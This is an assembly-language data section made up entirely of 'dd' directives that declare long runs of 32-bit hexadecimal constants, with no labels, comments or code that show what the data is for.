dd 751D9C2Fh, 608B488h, 26319FE9h, 0D17407BDh, 2AE944Bh
dd 5308ECC0h, 0B3FEBBB7h, 14EC70Eh, 655BE9FCh, 0EEC3B424h
dd 0ABE2974Ch, 7C95654Ch, 0E8C1845Ch, 57BD9CFEh, 3B14DF97h
dd 0F8CEE913h, 7CB50741h, 0E860C530h, 4C469D96h, 7F5D10F2h
dd 50E116EBh, 6F683100h, 0A048271Ah, 0E0C0EEB7h, 25D37F2Fh
dd 40F5F089h, 977DED52h, 9A49529Ah, 28AB3B5Ch, 0E92F5684h
dd 2110521Eh, 0BA836CDEh, 98117B7Ah, 0B8D1D2F7h, 0EF2042Bh
dd 0C00BDD09h, 3C28DE7Dh, 10BB1E5Ah, 0FF4F0874h, 0EEEB6845h
dd 8A176216h, 0E3BB7A84h, 0F9FC93CAh, 0E320E9B0h, 6CD576BDh
dd 0FF9D795Dh, 0C5D5282Bh, 45E9C1EDh, 73453BD6h, 0F231402h
dd 35D4CC8Bh, 527A3CFEh, 3A62A99Ch, 0C2F80921h, 1A0415E4h
dd 4DBB5334h, 842936C2h, 0F9EF5B96h, 0D5022C3Bh, 48FEF309h
dd 728852D7h, 77F5F5C6h, 0C889D655h, 2026393Fh, 51BD3B73h
dd 0EA529750h, 294A331Ah, 0AA1F45ECh, 4E02202Bh, 5EC3BD05h
dd 91C0295Dh, 607F33D0h, 6696BC78h, 12C19CCh, 0EDE024DDh
dd 50BE6182h, 3839F737h, 0A1CB454Fh, 88BCA0Ch, 6903945Ch
dd 0B56D437Ah, 7514B2FBh, 0A5EEB717h, 2E8ABF17h, 904DE04Eh
dd 97FDC41h, 0F429AF91h, 3A7035D6h, 0EC2DD3F1h, 3F5604B6h
dd 558378C4h, 0BB2B17Bh, 0E523FE2Ah, 73768129h, 9291F23Eh
dd 4AB58ABEh, 0C9221ED2h, 2D3F55DFh, 24922117h, 0E74FC1DAh
dd 457C7BE1h, 0CC2FC2B0h, 0E98C5E63h, 66E7165Fh, 3BC5AC55h
dd 4FF07B5Dh, 0FD4B87F4h, 9C40CBF9h, 0B6063FBh, 0A1EC9F98h
dd 0D8089F5Fh, 164A2D04h, 0F133E4BFh, 2B40949h, 77E7D8F6h
dd 0F900F04Dh, 0DD8E3378h, 81680930h, 90315735h, 16BDBFFEh
dd 1D6109AFh, 0FA043F53h, 12A3A914h, 0A953AC21h, 45538C00h
dd 2C5A27C0h, 59D2D689h, 42D5EEF7h, 0DED86CBh, 0BBC53EA9h
dd 0DA15199Bh, 8134DCE9h, 11A3EB1Bh, 37606130h, 43CE97A6h
dd 2AD5FEF7h, 0C3033C47h, 0E330321Eh, 38BE8526h, 9FA021FCh
dd 80B8C009h, 0DB991C64h, 30E0A5AEh, 4E010838h, 650556E3h
dd 8920504Dh, 72D50D8h, 9885B05Bh, 7FC700C9h, 0CE815808h
dd 41264874h, 0C2006C54h, 0E9AA19CFh, 0FD01BFB2h, 2B3C8B5Ch
dd 55DC78BAh, 1FCF6804h, 938B725Ch, 580BA85Eh, 13180B2Eh
dd 0BED9C04Ch, 0CC702DB7h, 72BA6D5h, 51043706h, 0E984C4D7h
dd 5EC604ABh, 0C82EE67h, 0A125E0CEh, 50162E31h, 0E6F0164Dh
dd 85A69665h, 0BEE0B327h, 86EEE328h, 30ACE8A8h, 22CFD848h
dd 0BDC4C06Fh, 0F59265Ah, 10BF895h, 63ED1129h, 0A6FB68E9h
dd 0FE20F628h, 0BF214D41h, 925F71F8h, 3E772053h, 4B58FEF5h
dd 7913C2F4h, 57AD2CF2h, 8C3DF686h, 0AC89D326h, 624BA817h
dd 9D0B5501h, 0CE82D5Fh, 4BF4E56Bh, 56304E55h, 0D235F5E9h
dd 4EBCA5h, 0B3443B05h, 985E5956h, 2026099Ch, 1E0040A5h
dd 427C7E27h, 0CCCCE93Dh, 8C32D303h, 4CAC7F17h, 0AEFE414Eh
dd 835F323Ch, 0D5685EF3h, 8AEF3F4Eh, 19CBDB54h, 42F00257h
dd 4A123BC3h, 870004EAh, 5FAAF936h, 0C4EFDE85h, 7FF08793h
dd 0A2D4EF3Eh, 686187A9h, 6D8B693Ch, 42D91B57h, 0D9D792BCh
dd 0F68429B9h, 8499EF1Ah, 406BFC40h, 0AB774C2Dh, 0E51F224h
dd 0CAC07417h, 2EF60960h, 4F5DE0B5h, 0AA2F58FEh, 0E658E901h
dd 21D3010Fh, 890804F4h, 0F4E150h, 0BD62EA80h, 0C30D0EFEh
dd 0C52ECEC8h, 4174AE66h, 2BB23DEEh, 4041B33Ch, 0BA03BD3Ah
dd 686B7631h, 70408D7Fh, 7C43FABBh, 9AF59547h, 77E40987h
dd 7F729FF9h, 49442DA2h, 4EBC000h, 80D33AF6h, 1C30F29Eh
dd 5D60E759h, 46B7F88Dh, 186E2D46h, 0C0EAB456h, 79394C4Fh
dd 18D49DEEh, 0F0B581Fh, 0E214774Ch, 0E7897790h, 0EA43B59h
dd 38574139h, 775C27E4h, 7AA35DB1h, 0B0464CA3h, 0A1E6BF92h
dd 1798814Fh, 0E9B0D798h, 82BCEEFCh, 21CB6841h, 0B18B9392h
dd 74A33B62h, 185AE982h, 252A14DFh, 82E677E4h, 0B92A9201h
dd 0C5D5E912h, 0A3FF31A7h, 93DE31F0h, 0B1084BF3h, 0EC4EE3BFh
dd 6D6F2EF1h, 0B9602A25h, 95693B9h, 0A7E9396Bh, 95F1952Bh
dd 8066BC02h, 9461E13Eh, 7D3DA37Fh, 1ECF7664h, 0AC7A66A1h
dd 4809B593h, 0DE185D78h, 511F4205h, 4BBA77F6h, 0E6881CC1h
dd 0E9C5E322h, 0BFD5A0C6h, 284AA716h, 0D1808204h, 0EF506604h
dd 58889DACh, 7FAFFB62h, 9AFD9AA2h, 0D6DF8909h, 2652A5E4h
dd 0D7AEB925h, 0D7270745h, 0CCB76738h, 4A89D1B5h, 0AF539310h
dd 188A6A6h, 0BD0E46C9h, 0F04DBA50h, 460127FCh, 275F7970h
dd 66D94885h, 0D7189B89h, 68858BCDh, 69FE6FCDh, 10563D5Ah
dd 6604153Fh, 0AAB1B551h, 922C3744h, 0E57405BCh, 0BD515BF0h
dd 0C02D5D65h, 82DB7B1Ah, 9653FEC1h, 0E9B15B12h, 6480A07Ah
dd 42BE6A1Ch, 2BA95752h, 2B0C0980h, 0A4905810h, 0C89D5D27h
dd 2C7BCBC4h, 2FFF5FD2h, 56838B7Fh, 12700AB1h, 0E25792E3h
dd 4D87C4CEh, 0A7C42EECh, 405FCA28h, 0AA63C3B8h, 0E1CABA28h
dd 406BF7C5h, 6809EB3Ah, 294F53B1h, 5008F910h, 7FE6E9B2h
dd 5245DB91h, 151776EDh, 80B8E870h, 6EDC82F1h, 9546B8BEh
dd 56558B18h, 6BE1E972h, 0BD08C888h, 574C641h, 0B802C1AAh
dd 0F0F82ACDh, 0FE70DA8Bh, 69A0BE1Ch, 958C4D5Eh, 3EB9372h
dd 3F5616AEh, 0AE10295Ah, 134D237Dh, 17BBE64Eh, 95882191h
dd 513252FFh, 240E90Bh, 64F157Eh, 92300AE4h, 20DD5C34h
dd 8D561A85h, 55C488ADh, 3EB80177h, 30466C58h, 0FD825BC7h
dd 2BF7CFB0h, 36E56812h, 4754D708h, 3B5999EAh, 3CE7D920h
dd 0F0211952h, 0F5818A62h
dd 103FE2F5h, 5877F640h, 286C0993h, 48F5486Eh, 2D06B416h
dd 0B2D82177h, 70B2FE9Dh, 669DBF8Ch, 0E0B805A3h, 0E1EE3E89h
dd 4F2844A7h, 0F88E66CFh, 16340376h, 0FFDCFEE3h, 0E3EA9B53h
dd 61A5C40Fh, 0EA67CCEBh, 2E444809h, 8328FA16h, 0C91C0208h
dd 593D7C63h, 366C74FBh, 5D1819BEh, 42EA473Dh, 53DF5908h
dd 5CA88F73h, 0E2E3EA53h, 7954C299h, 2010102Dh, 1667B31Ch
dd 0E30004F3h, 3B8427FEh, 7C683E90h, 600A9C61h, 5C9C1F8Ah
dd 67ECA1h, 283EC981h, 5BF7294Ch, 0BFED0B77h, 0D706BB51h
dd 4066FA87h, 0D19731EDh, 0AB5C690Fh, 2805E906h, 8CB90F58h
dd 0F1137C40h, 5F903AA7h, 42497B82h, 6C527C7Ah, 2B5A300Ch
dd 1370F304h, 0F6015B3Eh, 7A0C41BFh, 0B8318EB0h, 587C5821h
dd 5E25C34Eh, 2C4278B1h, 13559405h, 0EBCD3955h, 7A1C8941h
dd 82DEA83Eh, 77143552h, 87C23BC0h, 76129725h, 4DE904F5h
dd 0FE4ED455h, 81E970F1h, 0FC3E6565h, 0AAE9E031h, 0B07BB758h
dd 0A6DEE50Dh, 0B988E7Eh, 5F68BAE9h, 0ED3AC098h, 13298182h
dd 0F7E6CE28h, 872605F9h, 0CFBEE9C1h, 0D629202Fh, 5B4B643Ch
dd 1CAB49EFh, 0B8077E78h, 0B1B9C397h, 34384CAEh, 0BDF13980h
dd 283DC787h, 87EF84CFh, 0B3F80457h, 0F0127EC3h, 1CBD682Ch
dd 0E026668Fh, 2CDDEA18h, 973023CCh, 0E2724479h, 990F600Eh
dd 0BEF2C04Eh, 0C008DD5Ah, 4A7DBF0Ch, 0A45BE925h, 0B6A7CFA1h
dd 0E924B4BEh, 0E8A09D9Dh, 5FD41D59h, 6F843BB0h, 2B8A1A73h
dd 8034A4BAh, 0A11B280Dh, 0B090516h, 0F5F8540Fh, 0BDE90310h
dd 5CDFC297h, 1B68C1C4h, 28A6264Ah, 0C1054802h, 28460574h
dd 0A3E94DB0h, 66DBA908h, 41CCF76Ah, 466A28F3h, 0A34E7D6Eh
dd 0CC888702h, 0E7BCB959h, 6D74ED61h, 4D38785Ah, 2927D0CFh
dd 7CC44E40h, 0F260733Eh, 5B5D64B2h, 0EAE07E25h, 0B0C28080h
dd 0CFD7EFC2h, 6EFE065Dh, 1452208Bh, 0D2E5584Ah, 172829E9h
dd 1A6FBA02h, 0E360472Ch, 3A2C7B38h, 0E90BD650h, 80726041h
dd 78E464CBh, 202ABE3h, 0EE530FDh, 0C5FDEB09h, 0DF699CFAh
dd 0DD2842C5h, 0A17686E9h, 0F3165413h, 7D0E4D1Ah, 0C144E06Eh
dd 0DD4BE9h, 4149B943h, 82BF7218h, 0BF9BD13h, 37285954h
dd 0AF148209h, 9022FF64h, 5B051759h, 0AC8AA485h, 0FD59C240h
dd 13AEE9ECh, 0FFC34279h, 0C59ADA11h, 13C91617h, 9FEAD244h
dd 5CE90B56h, 489855D8h, 8180D6B7h, 595402EEh, 0DEF72822h
dd 0BB031F4Ch, 3CD00292h, 0F3BFEC01h, 0C6AC5030h, 567D710Ch
dd 14640C2Ah, 21DF0ABAh, 0B64A45C1h, 67A1302Dh, 7066A09h
dd 9869C321h, 5FE144B4h, 5589C00Eh, 774035E9h, 572C0CBBh
dd 21C3B69h, 0C29D5AFAh, 0ADCF75ACh, 558874A6h, 78050123h
dd 0E867911Dh, 0DB820826h, 48D727C4h, 0BBD54AE5h, 35EB3065h
dd 1C047F7Ah, 8222E96Bh, 3E1D5696h, 985E0968h, 70BD508Fh
dd 1E3D2062h, 139D2958h, 61AE9E95h, 9BF57C1h, 0AC1A004h
dd 0C821FA6h, 725E4CA5h, 89228541h, 7261C223h, 16E5ECF7h
dd 0C5371B4Ah, 1A0F71F8h, 0ECC8123Dh, 0BB2D4BEAh, 89E9A802h
dd 0E27AD750h, 6049A2F0h, 5E5205Dh, 0F7DB34F5h, 2AB1BACCh
dd 5F6CEB20h, 92BEF73Dh, 2DE9A32Ch, 589C68CCh, 2CE54FFCh
dd 672597A9h, 921752ACh, 0E783B859h, 810FDCBh, 0E5B667B8h
dd 0F5EA4662h, 5C124095h, 0BAABB9F0h, 27969573h, 567668BDh
dd 34070568h, 0A15E4713h, 573ED0C4h, 0D0AA4E4Ah, 2D6A728h
dd 0E1B1015Eh, 4561BA3Eh, 0BDBACE9h, 0FEDB17F7h, 0EC52262Eh
dd 963127B3h, 37589514h, 246C1330h, 36D16BEh, 0E68156EBh
dd 1EF23CAEh, 3839F7F6h, 0D14EA768h, 7CBA8113h, 2B090F0Ch
dd 0ACED20BEh, 7297B316h, 9BCCF392h, 2BE43CEBh, 85BAA8CBh
dd 7BA940DDh, 5ABAF95Bh, 0D69FD0F9h, 0DAEB0D30h, 3886BCCh
dd 0EAA55B42h, 0B552702Ch, 998B69D3h, 0D28DA4B0h, 1F4049FFh
dd 625BC0A7h, 63E6DA82h, 9FA46CB7h, 136FE8D1h, 631326EAh
dd 42FC4230h, 250AAF05h, 795E31E8h, 2D3C770Dh, 0F3015DD8h
dd 0E1283F30h, 0C8ECB93Eh, 672A160Ch, 38E280CCh, 5A7C1BE0h
dd 22ED80BDh, 52E41FC7h, 0E909FE89h, 36FD44EDh, 792049D1h
dd 1BD8C15Eh, 904B680Fh, 79F20498h, 40EE2270h, 7FEBE2DFh
dd 0D2BF017Ah, 0C08898FCh, 0FB082D34h, 0F3A206B7h, 286A765Dh
dd 89DC4AF6h, 97420CCh, 0FDF85F81h, 1283AB37h, 0A94950AFh
dd 85C2D288h, 3A70F7EBh, 0BAC15E5Fh, 0AD50D9B4h, 588845FAh
dd 7D482F87h, 6D149573h, 0A7704795h, 80B83DBh, 0EDD2230Bh
dd 39062501h, 0EB97EAD4h, 0C2D6291Ch, 245442BFh, 0B2856187h
dd 819B3476h, 5DD3F55h, 84594583h, 5B51D8AAh, 1A53522Eh
dd 1CAEE412h, 5AD387E6h, 3AE9A159h, 0EB4F921Fh, 0BF5B1DECh
dd 32318A0Fh, 0C8BF8275h, 681C5268h, 0D72522A4h, 42093CC5h
dd 703778DFh, 7DA30BA7h, 0C555F229h, 0AD76E9B5h, 0C0FF97CFh
dd 390E957h, 0D71B12B7h, 4869C0F1h, 5AE12813h, 5FC340FEh
dd 46D6E781h, 23C7D58h, 0C14C7EC7h, 0E6767757h, 24D01609h
dd 80AAEA0Fh, 7F5C79D4h, 82BE9890h, 4B51E958h, 4D23AB7Ch
dd 42CBD1C3h, 7B2DBE2Fh, 8086A930h, 6812925Ch, 0D8AC59ACh
dd 349B42DEh, 90D56473h, 81EEDCDDh, 0FE5CD301h, 64284B03h
dd 13A92D68h, 7C709D19h, 0E8C11359h, 35D42BC1h, 562F4D63h
dd 664571F4h, 86B598ACh, 4D4BCDF1h, 564D4EBh, 0EF4571F0h
dd 0D9E39240h, 0F82F4C2Ch, 0BDF35E8Eh, 0EB89791h, 8154D24Eh
dd 5E125B5Ch, 0F15AC0FBh, 1160DD0Eh, 55C87D0Ch, 0DEE9137Fh
dd 0A1D1F8C4h, 68008DE3h, 0B2BF1640h, 296D626Dh, 5DF5095h
dd 3FDFEF81h, 0BABA8295h, 0AD58B4E9h, 5B04050Ch, 3F022DBAh
dd 621175A2h, 731C2512h, 2FB90012h, 4131945Fh, 59C98103h
dd 0B80B556Bh, 27CDBB53h, 0F7D3F35h, 60BF576Eh, 0D00D58B2h
dd 811C29E5h, 3D6E180Eh, 0CFD88343h, 0F36022E7h, 4E1C06F4h
dd 2C01BA35h, 717A3997h, 9615360h, 9F01A7Ch, 0F2E6CB77h
dd 72E07E28h, 30841F62h, 8903B960h, 41BF0DDh, 860F73EEh
dd 52358219h, 4B6F38D9h, 0C20B564Fh, 10BA794h, 0A172F5EFh
dd 0CCF5B07Ah, 61DC5D18h, 2E764A0Ch, 589F1F75h, 2196D3E9h
dd 0EBFAF925h, 0E961D17Eh, 0F151B240h, 216104E6h, 14DD1930h
dd 0E7472D26h, 56510609h, 51CAD307h, 0F06A150Dh, 816AAF2h
dd 0C2BC65ADh, 408EA84Bh, 8D13F9A2h, 17AC8EB6h, 0F235F84Bh
dd 0A45D5B5Ch, 1E9CAF64h, 3B8FAB81h, 22A5719Dh, 9520957h
dd 5EC2556Fh, 0FFB8445Fh, 14B3B678h, 0A8E96413h, 0B9E6C293h
dd 80019DD0h, 0C499E7CCh, 0E1F83E9Ah, 2CF1F60Eh, 4F028C3h
dd 0E9D15AD3h, 16069E83h, 7539C1DEh, 53A2DC83h, 51506680h
dd 0C0BFCBB1h, 9A2BB536h, 0A277955Ah, 91ED213h, 19B6AA82h
dd 0A7E2DA6Bh, 315E92C8h, 0C956D4BFh, 5A7DFC16h, 5E170BB1h
dd 0C27DCAEEh, 45E469E9h, 9C5AAC72h, 56DE0BC1h, 2A38CF64h
dd 30BF4F25h, 98B252A7h, 0CDC38002h, 646292E9h, 0BCC0EEFBh
dd 0DD8809BAh, 68EA18F7h, 30384A81h, 0A2161837h, 15AF485Ch
dd 9E4AB1B8h, 0FD906ECBh, 7F8B3710h, 0BA143103h, 0FA7C9A2Ch
dd 0FF928B29h, 79DDEBEAh, 603900E7h, 0A6686D3Eh, 9C220359h
dd 0FC7DF750h, 0C06BC44Bh, 770509D0h, 0E8450E2Fh, 9EDFFA63h
dd 5724404Bh, 0CD56C068h, 635F2326h, 6E08B503h, 0A78C1D2Dh
dd 8CCA62Ch, 0EF81E5F8h
dd 1030154Ah, 277456BFh, 607C6CBAh, 1CD008A0h, 8DAE4B14h
dd 14F22A0Bh, 0B203E983h, 5DE8B312h, 906DD6ABh, 4740C201h
dd 0F6C5E970h, 4ECD8580h, 0F713BA69h, 3A45DD3Fh, 268CD6Fh
dd 0A26AFBC1h, 0A09D5C31h, 49583B08h, 0B6E944ADh, 212330E7h
dd 7E5BCBE2h, 38929ACh, 78B0D401h, 185C9C30h, 0B0F64E2Dh
dd 56682FA0h, 7D0B8BF9h, 9B2F2B24h, 679000FFh, 0E97AF644h
dd 0AB9F2478h, 13D459AAh, 0D398FAE8h, 0B8B30567h, 0A8C83122h
dd 2F460076h, 8FE91DDBh, 544C00Dh, 0EF26FC0h, 565F2D09h
dd 560F5D46h, 0A37C0794h, 70EFD011h, 0E908091Ch, 23254A48h
dd 0EA2AD422h, 95A497ECh, 0AC65086Fh, 95AB3500h, 9E010D8Eh
dd 0B56309ADh, 5A099259h, 6109F121h, 291195E9h, 0F7BC4BFCh
dd 8F6EDD09h, 0E101687Eh, 3136D6D0h, 3CF2446Ah, 0E6540BDBh
dd 86504CA2h, 0AD47FB13h, 0E9A374CBh, 2FF334D1h, 2B29EAh
dd 0A62486C3h, 93E93816h, 4C285BA0h, 0B57900EBh, 0AEC43A54h
dd 176F32E8h, 4BB4E605h, 0AEF4EAFBh, 220F75A4h, 0D84F90E8h
dd 50005799h, 0D22F668h, 4FC9E962h, 4875EB25h, 0AEA816BFh
dd 1746B831h, 6AD7F601h, 7F3E604Bh, 7FE40F0Fh, 0BE139585h
dd 87FAFB17h, 0A933E669h, 17844D20h, 0E5781A68h, 0BD02EFC9h
dd 0D10A3DC7h, 8660DF23h, 5A8103EFh, 6A4D17Fh, 9B288547h
dd 1ABBB38h, 0B34426D5h, 0AF188320h, 52FBA54h, 9931E17Eh
dd 6DC0147Eh, 0BF5F0840h, 9D62655Ch, 8260567Bh, 0C96C60BFh
dd 1110ED5h, 0D164022Ah, 4D1DB578h, 4B268721h, 0FFE3A543h
dd 17FAB288h, 3BEE62h, 0B108597Fh, 0DAB7312Bh, 6707401Bh
dd 543A4001h, 4F3DE952h, 76C5F582h, 0D2E0E05Dh, 6109D4F5h
dd 0DE896867h, 0C4C79D87h, 8440C50Dh, 0A0F1AAE9h, 65F3F400h
dd 290E1A03h, 8011CFAh, 287E47E9h, 9BAFA595h, 830C1085h
dd 6C8C0502h, 127D5A89h, 0EC3040C6h, 661A0451h, 9AD27E9h
dd 0E1707758h, 55535A25h, 0DA8929A3h, 0D46DC0D5h, 5F402645h
dd 0C8443B18h, 49685287h, 0E9449E31h, 2D7DB19Bh, 0A814CCEDh
dd 31BF0B68h, 91042313h, 6BECA175h, 0D09759Eh, 0B1562174h
dd 5EF6F90Ch, 42342C68h, 0B8B6624Eh, 758A2E41h, 60E0820Eh
dd 0E61EF622h, 5FC0BFDAh, 27CCC7A9h, 0E4CFB859h, 0EC08D0F9h
dd 1660032Ch, 7882F27Ah, 715F8A25h, 94A888A7h, 0FE096C2Ch
dd 0B928B08h, 0D981075Ch, 482D5FA2h, 8864A789h, 199D4C20h
dd 0D46AC183h, 93DFE2A0h, 0B64FDAACh, 8510100Fh, 0E23BA01h
dd 0B868697Bh, 40A492Fh, 12C11F22h, 96F031F4h, 0AD5B1623h
dd 6F67CAB8h, 8667CAA0h, 0FF8B89A7h, 0F7AD98C5h, 1101BB86h
dd 26407B90h, 7E9E09BFh, 4DFE55AAh, 7B4A0304h, 0F8ED84EAh
dd 255813C5h, 803EDCF5h, 286B23A7h, 61F08926h, 71C8C517h
dd 21F34182h, 4C84C954h, 499058BBh, 13857B5Fh, 3B8329ABh
dd 1B522F21h, 6D573C12h, 6AE90E9Fh, 4BFF4D5Ah, 964AD025h
dd 5B38766Bh, 6A52E5EDh, 54A16EA0h, 4BABEACCh, 0B7652110h
dd 8FBDFC39h, 46A01FC5h, 485060EBh, 27388717h, 0E2C18942h
dd 0ED907505h, 0CE04370Ah, 5960E98Bh, 0BABB30FFh, 0ED2D678Ch
dd 82FEDE4Ah, 0E9D13A9Dh, 81B8C0F7h, 0D2B01BF1h, 7BD00CA9h
dd 1D986E13h, 588724C9h, 334A979Dh, 978E7C55h, 5E264707h
dd 89A77250h, 0BD349CD5h, 0FEC9C079h, 1A336B4Ch, 0C5DDC39Ah
dd 89E7A5DDh, 1FA372AFh, 5741EB81h, 348D045Ch, 881D128Dh
dd 0C341F6D2h, 6416FCB9h, 853DC47Bh, 0D4D204FAh, 5EEF1656h
dd 0C214499Eh, 688F987Dh, 9372B588h, 7119F330h, 2F4A50C6h
dd 8857071Bh, 0E90508B7h, 0BA40F5Bh, 0AC24E7C2h, 0E318F870h
dd 41715930h, 7F4641BBh, 6D1F7ED1h, 1830570Ch, 1E1905BDh
dd 0AD3178ADh, 3E415594h, 4A05BCD8h, 117DCA08h, 0E14EC185h
dd 0D8CA2F6Dh, 0A3C7257Bh, 711607FBh, 219B13EAh, 79A547Eh
dd 5678C9D2h, 19776070h, 0F8957245h, 489E7564h, 0C23D44BEh
dd 3A412189h, 37604A00h, 0F8974EBBh, 97C1EAA1h, 466F3976h
dd 2715F59Ah, 0EB183958h, 0D39473FEh, 5340FCA6h, 974F3168h
dd 6A1C49D3h, 1370E348h, 9243015Dh, 3F37A478h, 0F1038ACBh
dd 5A935DCAh, 846A0C01h, 0CB89CF2Ah, 0BF4E632Dh, 88396FC8h
dd 50605B54h, 0A7414580h, 1CC1FD73h, 0C3571C9Eh, 6FC76D4Fh
dd 2254FDDAh, 28586604h, 0D1A4BFC7h, 0C602BDB9h, 0FAEBD737h
dd 40F55A6Ah, 0D40DA5h, 6449050Ah, 0E0C13D08h, 0B5702DE8h
dd 0D503E00h, 42EA6BA6h, 35630E05h, 0CF616FD6h, 290E6ADEh
dd 28E51B63h, 0F83BB1ADh, 1E27381h, 821EC946h, 7212A60Ch
dd 6BCF8150h, 0DB60D66Dh, 0BCD95E8Ah, 5AEA6E6h, 6CF122C7h
dd 1D788229h, 5A28305Ch, 0D6C43E4Fh, 68CD02AFh, 0A90F2FF0h
dd 99CED778h, 0D44B5A5Ah, 5E27076h, 0BD262CBFh, 79FCC23Eh
dd 85038708h, 0DA1870CDh, 9D6A701Fh, 592614DDh, 0BB5B82C2h
dd 9C5C3A7Ch, 6542FA0h, 5A20065Bh, 12073AE9h, 0F8885809h
dd 9FDAD75Bh, 7712BE77h, 5AF9238Dh, 9F0AE04Eh, 11EC1C5Fh
dd 131205B0h, 5E30F627h, 5F07205Eh, 612EC95Bh, 4B592220h
dd 643D44AAh, 76C2F8D2h, 0FB4E6735h, 7D673F87h, 1EB843E0h
dd 16A4FC89h, 9DAC9DE9h, 0A6D96F3Ah, 0C9C6E9F1h, 0BD330526h
dd 0D88C0D92h, 4C7F7C74h, 6EA172Ah, 15C6C901h, 4FF734B0h
dd 3B42A1F0h, 6C21D8h, 5459011h, 1F0D2132h, 2DD02914h
dd 0B594907h, 0D75DB568h, 0FE8AC2B9h, 19B65200h, 0C3C64BFEh
dd 0EE820143h, 209F802Eh, 0E865AF5h, 30D0F6C5h, 8E89A9Ch
dd 0CC857E77h, 0E927CE4Ah, 0E2894880h, 2F5E1842h, 5B6DD01Fh
dd 182BCF30h, 404A1E97h, 3C17E16Fh, 0D0802578h, 27529336h
dd 0CF20F9E9h, 0EF1559CAh, 0E8E5652h, 0CF7AB4C2h, 3A42FE18h
dd 0C8FC8D58h, 9DFD68FDh, 0FB08E85Bh, 0F581051Eh, 99B09B0h
dd 75A7AC00h, 13F17D4h, 8A072EEh, 2095295Dh, 6E5913F1h
dd 636812E9h, 5E63A34Eh, 5E41CDB5h, 6369109Dh, 917A9817h
dd 12A0F6Fh, 9871F187h, 0A74C08B3h, 9203DB7Ah, 536CB056h
dd 3E0DE152h, 3C9C4AF5h, 82542F97h, 0FB2E5C59h, 86E9E638h
dd 3C081634h, 84388BABh, 0EB1701F7h, 0D92CC212h, 0BE81DC1h
dd 74680731h, 59F70922h, 1668E193h, 2FEE234Bh, 0A5714F54h
dd 95E92601h, 92C97C31h, 35FDF401h, 0B144222Ch, 0EAD953FAh
dd 327DACB3h, 0EAEB7D35h, 863B6ADFh, 3B30E6BAh, 2C93D0B7h
dd 493E5FCDh, 81D6769Fh, 5F2F7862h, 8F89F01Ch, 0A566D01h
dd 0AAFECBD8h, 32649483h, 0D3E3B03Fh, 289C0535h, 914B55E9h
dd 582765A5h, 0D1975F82h, 0A8BF657Ch, 0C2F14A26h, 0B8A6C17Bh
dd 98E0049Dh, 0FECE25B2h, 0D28C91F3h, 5FA06963h, 5CDE337Ah
dd 0C0E91109h, 0BDC6DDCEh, 80825454h, 0A7BAF63Ch, 0D7158979h
dd 0C7E6AF50h, 0E919E5ACh, 2834D4F1h, 1C22B9D3h, 85DCF83Bh
dd 9FD5E76Ah, 0C69C278Dh, 52339DCBh, 271EB359h, 509B745Eh
dd 0D643568h, 428957B1h, 0B53D10D8h, 18FC2844h, 8009E04Ah
dd 0A38E24D6h, 0C4D2F705h, 59B0DCDh, 53AA8048h, 0EB801DB3h
dd 0A5409DEFh, 0E934AD34h, 0EC527956h, 11CB8AABh, 0B96A70BBh
dd 0F1652F53h, 532FAAA2h, 0E07F54BBh, 675B2D6Bh, 0AA8114F1h
dd 8405882h, 4A3A500Eh, 7699BE25h, 85100C06h, 0E52C201Ch
dd 13D8ADA6h, 0A89E81CCh, 9A840409h, 92BB26D2h, 4C709C8h
dd 0BF027044h, 62E06763h
dd 0FB7BE781h, 803F8C27h, 66C087Dh, 21D89D29h, 0E456C34Ah
dd 0FA422E19h, 7502B900h, 0C168261Eh, 420906DDh, 0FFB79959h
dd 40873724h, 68125CCBh, 0EC46B6h, 565321C5h, 0B950419h
dd 4F0EE32Ah, 1B49D25Fh, 0D3522513h, 5ED140C4h, 22062D91h
dd 51221727h, 11328EFFh, 0C288FB16h, 1FD64907h, 668C305h
dd 880F9814h, 0AFD3634Fh, 5CCB82F0h, 0FAFE1797h, 0B30DE704h
dd 5C96510Bh, 1E08BF04h, 91AA49E5h, 46D78B4h, 94FE36C5h
dd 8FCEAB77h, 0D2EEAD5Ah, 0EA6ED4ABh, 0C552EF63h, 1C57E0C8h
dd 2D4D3368h, 0A43FB475h, 57B520F9h, 0B0840F0Ah, 5F2782E5h
dd 5E9DF546h, 33F05A03h, 0C77EAC06h, 2C90BA0Bh, 2BCF438h
dd 4F94010Eh, 8A09AD6h, 16CE5949h, 681AE955h, 84B1896Ah
dd 81346218h, 2E135CF4h, 3ED939EEh, 5A415654h, 0B38440FCh
dd 5F29099Ah, 6EFB1629h, 0B2C4628h, 0C7793657h, 512AE908h
dd 0C3B0E7D3h, 0CF6E7503h, 4B79B92Dh, 0AA6BC40Bh, 348779C1h
dd 8DDFA26Bh, 0E46B0E8Bh, 0F160C4C2h, 7690F3CDh, 0BC7560D0h
dd 8A22A906h, 50C8E925h, 76ECBF47h, 5BF93017h, 8458990Bh
dd 0A01949BBh, 0F0FB04DCh, 90CC5318h, 0EEE6152Dh, 0C3494C29h
dd 0A14201D2h, 0E5799F0Bh, 706820DDh, 496F5F81h, 0FE76EA35h
dd 524B7427h, 240F72FDh, 2510C86Ah, 2F564E5Eh, 2A521CE9h
dd 0F3964490h, 35B1002Fh, 1194434h, 0A5BA523Eh, 2A30147Dh
dd 0ACEC71C3h, 74180113h, 7B78DD5Eh, 0E353F12Ch, 8329C395h
dd 46ED8101h, 2A14937Bh, 0FC85AEACh, 10E5A33Fh, 5D3FF446h
dd 8D3EE178h, 0B8012B92h, 6AAF7098h, 0A0969770h, 79BEF06h
dd 162B74Fh, 16C7E5CFh, 3FEAC908h, 0EC961DB6h, 0C7C6C467h
dd 0C01A114h, 89448D7Ah, 12627ACFh, 5925E867h, 0D35E31h
dd 1941176Bh, 90C14F69h, 0B1EEFB11h, 7CB0CF3Bh, 8E63F6A0h
dd 0E38C5D82h, 3912CD38h, 0ED2C5A09h, 15D80EBEh, 90364E61h
dd 81825DEh, 0CC577A24h, 172F3008h, 7E2CEE5Ch, 16279AD0h
dd 0EBDE874Bh, 58F5A441h, 0C827F6Ch, 178D3863h, 0D4B780F7h
dd 0C1693D79h, 3531D01Ah, 60722C20h, 48266EEEh, 3B80BF0Ch
dd 44F8C181h, 0A8B52D72h, 0C3408D1h, 92FB1714h, 0ABBFC04h
dd 0C27DF2AAh, 48774B68h, 9F525E26h, 7242907Bh, 0BD20465Bh
dd 7B0B6C91h, 5E327944h, 18C4413h, 2CA2E4C5h, 759F7B7Dh
dd 0ABBAF114h, 45A89855h, 0CB0AE85h, 399D162Dh, 0E96DB046h
dd 0FEE1BD16h, 43E8BCDh, 9640E1h, 0B151D8F6h, 0C9801FD0h
